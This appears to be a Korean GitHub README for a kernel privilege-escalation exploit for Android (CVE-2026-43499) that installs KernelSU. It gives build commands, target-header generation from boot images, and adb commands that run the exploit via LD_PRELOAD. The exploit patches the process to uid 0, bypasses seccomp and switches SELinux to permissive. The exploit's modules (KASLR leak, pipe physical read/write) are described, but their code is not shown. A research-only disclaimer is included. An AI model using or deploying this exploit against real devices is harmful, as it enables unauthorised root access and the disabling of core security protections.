
커널 취약점 CVE-2026-43499 기반 로컬 권한 상승 적응, 임베디드 KernelSU 통합. CVE-2026-43499+KernelSU 탈옥 모드
# CVE-2026-43499-root-KernelSU
커널 취약점 CVE-2026-43499 기반 로컬 권한 상승 어댑테이션으로, 임베디드 KernelSU를 통합합니다. 컴파일하여 `preload.so`를 생성하고, 트리거 성공 시 `late-load` 모드(탈옥 모드)로 KernelSU를 시작합니다. (xbl_config.img / vendor_boot.img) + boot.img로 `target.h` 생성을 지원합니다.
커널 취약점에 기반한 로컬 권한 상승 어댑테이션이며, 임베디드 KernelSU를 통합합니다. 컴파일하여 `preload.so`를 생성하고, 익스플로잇 성공 시 `late-load` 모드(탈옥 모드)로 KernelSU가 시작됩니다. `(xbl_config.img / vendor_boot.img) + boot.img` 또는 다른 방식으로 `target.h` 생성을 지원합니다.
참고 프로젝트:
- [Linuxoid-cn/CVE-2026-43499-Poc-Analysis](https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis/)
- [x-spy/CVE-2026-43499-popsicle](https://github.com/x-spy/CVE-2026-43499-popsicle)
- [Colorful-glassblock/duchamp-root](https://github.com/Colorful-glassblock/duchamp-root)
>[!IMPORTANT]
>취약점을 무단으로 악용하여 컴퓨터 시스템을 손상시키거나, 침해하거나, 접근하는 행위는 법으로 금지됩니다. 이 프로젝트는 연구·교육·학습 목적으로만 제공되며, 사전 승인을 받은 시스템 및 환경에서만 사용할 수 있습니다. 이 프로젝트의 사용에 따르는 모든 책임은 사용자 본인에게 있습니다. 저자와 기여자는 이 프로젝트의 오용 또는 사용으로 인한 손해, 손실, 법적 결과에 대해 일체 책임을 지지 않습니다.
>
>면책 조항: 승인 없이 취약점을 악용하여 컴퓨터 시스템을 파괴, 침입 또는 무단 접근하는 행위는 관련 법률을 위반할 수 있습니다. 이 프로젝트는 합법적으로 승인된 시스템 및 환경에서 보안 연구, 학습 및 테스트 목적으로만 제한됩니다. 이 프로젝트의 사용, 오용 또는 수정으로 인해 발생하는 직접적·간접적 손해, 법적 책임 및 기타 결과는 모두 사용자가 부담하며, 프로젝트 저자 및 기여자는 어떠한 책임도 지지 않습니다.
## 영향 범위
**사용자의 커널 버전이 {Linux Kernel}인 경우 이번 취약점의 영향 범위에 해당합니다**
- Linux Kernel < commit **3bfdc63936dd4773109b7b8c280c0f3b5ae7d349**
- **2.6.39** <= {Linux Kernel} < **6.1.175**
- **6.2** <= {Linux Kernel} < **6.6.140**
- **6.7** <= {Linux Kernel} < **6.12.86**
- **6.13** <= {Linux Kernel} < **6.18.27**
- **6.19** <= {Linux Kernel} < **7.0.4**
## 현재 상태
| Target | 상태 |
| --- | --- |
| `rodin`(기본) | 검증됨 |
| 기타 `src/targets/*` | 참고 |
## 디렉터리 구조
```text
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # preload.so에 임베드되는 KernelSU userspace binary
├── tools/
│ ├── generate_target.py # 이 저장소 통합 target.h 생성 진입점
│ └── vendor/ # 상위 디렉터리에서 동기화된 원본 생성 보조 스크립트
└── src/
├── main.c # exploit 메인 흐름
├── preload.c # LD_PRELOAD constructor + ksud 출력/시작
├── root.c # cred/seccomp/SELinux/root patch
├── slide.c # pselect KASLR slide leak
├── fops.c # pselect/FOPS route
├── pipe.c # pipe-buffer phys R/W primitive
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # KernelSnitch helpers
└── targets/
├── rodin/
├── beryl/
└── ...
```
## 빌드
### 의존성
- Linux host
- Android NDK
- 기본 경로: `~/android-ndk-r29`
- 또는 설정: `ANDROID_NDK_HOME` / `ANDROID_NDK_ROOT` / `NDK_ROOT`
- `make`
- `git`
### 빌드
```bash
make PROJECT=<target> -j$(nproc)
```
출력:
```text
build/<target>/bin/preload.so
```
### 사용 가능한 target 확인
```bash
make list-projects
```
## target.h 생성
이 저장소에는 이미 통합 target 생성 스크립트가 내장되어 있습니다:
```text
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
```
`tools/generate_target.py`가 진입 스크립트입니다. 상위 디렉터리의 모든 target 생성 프로세스를 참조하여 캡슐화하고, 최종적으로 이 저장소 소스에 맞는 완전한 `src/targets/<project>/target.h`를 출력합니다.
스크립트는 IKCONFIG의 `CONFIG_DEBUG_INFO_BTF=y`를 강제로 검증하지 않습니다. 구조체 필드 오프셋이나 percpu `entry_task` 레이아웃을 검증할 수 없으면 경고를 출력하고 계속 생성합니다.
이미지에 사용 가능한 BTF가 전혀 없는 경우, 예를 들어 다음과 같이 표시되면:
```text
有效 vmlinux BTF 候选不唯一: []
```
생성기는 **BTF 없는 fallback**으로 전환됩니다:
- 현재 `boot.img`의 kallsyms에서 함수/전역 객체 심볼 오프셋을 계속 복구합니다;
- BTF에서 복구할 수 없는 구조체 필드/레이아웃 매크로는 템플릿 target을 상속하며, 기본 템플릿은 `rodin`입니다;
- 생성된 header 상단에 `without BTF` 및 사용된 템플릿을 명시하는 warning이 기록됩니다;
- 이러한 header는 최대한 컴파일 가능함을 보장하지만, 실행 신뢰성은 실기기 검증이 필요합니다.
fallback 템플릿을 지정할 수 있습니다:
```bash
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# 또는
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
```
#### 1. boot.img + profile JSON으로 생성
```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
```
기본 출력 경로:
```text
src/targets/<project>/target.h
```
스크립트를 직접 호출할 수도 있습니다:
```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
```
`profile.json`에는 물리 주소 정보가 포함되어야 합니다. 예:
```json
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
```
#### 2. root 권한이 있는 ADB 기기에서 profile 감지
profile만 생성:
```bash
make detect-profile PROFILE_OUT=profile.json
```
profile을 감지하고 즉시 target 생성:
```bash
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
```
#### 3. (xbl_config.img / vendor_boot.img) + boot.img 생성
스크립트는 상위 디렉터리 생성기가 지원하는 다른 진입점도 함께 노출합니다:
```bash
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
```
##### 예시
```bash
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
```
성공 시 출력 형태:
```text
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
```
`rodin`은 실기기에서 검증된 다음 값을 기본으로 유지합니다:
```c
#define MM_STRUCT_SZ 0x500
```
덮어쓰려면:
```bash
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
```
## 새 target 추가
일치하는 boot image와 profile에서 생성하는 것을 권장합니다:
```bash
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
```
완전한 target header에는 다음이 포함됩니다:
- direct map / physical profile 상수
- KASLR slide object 오프셋
- task / cred / SELinux 오프셋
- pipe / fops / configfs 오프셋
- pselect layout 값(예: `PSELECT_WAITER_WORD_SHIFT`)
- `MM_STRUCT_SZ` 및 KernelSnitch 튜닝 값
## 실행
현재 소스 코드에는 기본값이 기록되어 있으며, 정상 실행에는 `LD_PRELOAD`만 설정하고 임의의 프로그램(권장: `toybox id`)을 실행하면 됩니다.
```bash
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
## 기본 실행 매개변수
현재 기본 구성은 다음과 같습니다:
| 설정 | 기본값 | 설명 |
| --- | --- | --- |
| `KSUD_LATE_LOAD` | `1` | `ksud late-load` 실행 |
| `KSUD_ALLOW_SHELL` | `1` | `--allow-shell` 전달 |
| `KSUD_PACKAGE` | `me.weishu.kernelsu` | ksud에 전달되는 매니저 패키지 이름(효과가 없는 것으로 보임) |
| `KSUD_DST` | `/data/local/tmp/ksud` | 내장 ksud 출력 경로 |
| `KSUD_SKIP_WRITE` | `0` | 기본적으로 내장 ksud 출력 |
| `KSUD_DEFER_TO_PARENT` | `1` | 패치된 부모/현재 프로세스 경로에서 ksud 시작 |
| `ROOT_PATCH_SELF` | `1` | 현재 프로세스를 uid 0으로 패치 |
| `DISABLE_SELINUX` | `1` | root patch 시 SELinux enforcing을 permissive로 설정 |
| `ROOT_EXIT_SLEEP` | unset / `0` | 반환 전 추가 sleep 없음 |
기본적으로 실제 실행되는 ksud 명령은 다음과 같습니다:
```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```
이 환경 변수들은 런타임에 여전히 덮어쓸 수 있습니다. 예:
```bash
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
이미 출력된 `ksud` 재사용:
```bash
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
```
## 정리
```bash
make clean
```
`make clean`은 `build/embed/ksud`를 보존합니다. `src/ksud_blob.S`가 다음 방식으로 이를 임베드하기 때문입니다:
```asm
.incbin "build/embed/ksud"
```
수동 정리로 인해 `build/embed/ksud`가 사라진 경우 다음과 같이 복구할 수 있습니다:
```bash
git checkout -- build/embed/ksud
```
## 자주 묻는 질문
### `.incbin "build/embed/ksud"` not found
내장 payload를 복구한 후 다시 빌드:
```bash
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
```
### FOPS route가 `success=0` 반환
`rodin`은 legacy/simple pselect layout을 사용할 것으로 기대합니다:
```text
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
```
실패한 시도로 기기 상태가 오염된 경우, 재부팅 후 다시 시도하세요:
```bash
adb reboot
```
### `F_SETPIPE_SZ`이(가) `EPERM` 반환
일반적으로 실패/잔여 시도로 인한 상태 문제이며, 재부팅이 가장 빠른 정리 방법입니다:
```bash
adb reboot
```
### `ksud`가 시작되었지만 `/proc/modules`에 KernelSU가 없음
로그 확인:
```bash
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
```
필요 시 root shell에서 수동으로 실행:
```bash
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
```
## License
GPL-3.0. [`LICENSE`](https://github.com/woshimaniubi8/cve-2026-43499-root-kernelsu/blob/main/LICENSE) 참조.